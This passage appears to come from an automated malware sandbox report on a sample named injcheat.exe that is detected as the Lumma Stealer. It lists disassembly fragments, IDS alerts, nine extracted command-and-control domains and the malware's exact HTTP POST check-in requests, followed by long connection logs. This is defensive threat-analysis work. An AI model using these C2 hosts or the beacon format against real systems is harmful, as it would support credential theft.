Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	3_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], ax	3_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	3_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	3_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00448D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	3_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00427E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edi, ecx	3_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	3_2_00411E93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	3_2_00406EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	3_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	3_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_00429F62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0043FF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	3_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	3_2_00408FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	3_2_00445FD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], 0000h	3_2_0041FFDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	3_2_00416F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49707 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: epiloggati.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: epiloggati.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frizzettei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: frizzettei.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: epiloggati.sbs
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: epiloggati.sbs

Source: injcheat.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: injcheat.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: injcheat.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: injcheat.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: injcheat.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: injcheat.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: injcheat.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: injcheat.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: injcheat.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: injcheat.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: injcheat.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: injcheat.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: injcheat.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: injcheat.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, 00000003.00000002.1532577754.0000000000BED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
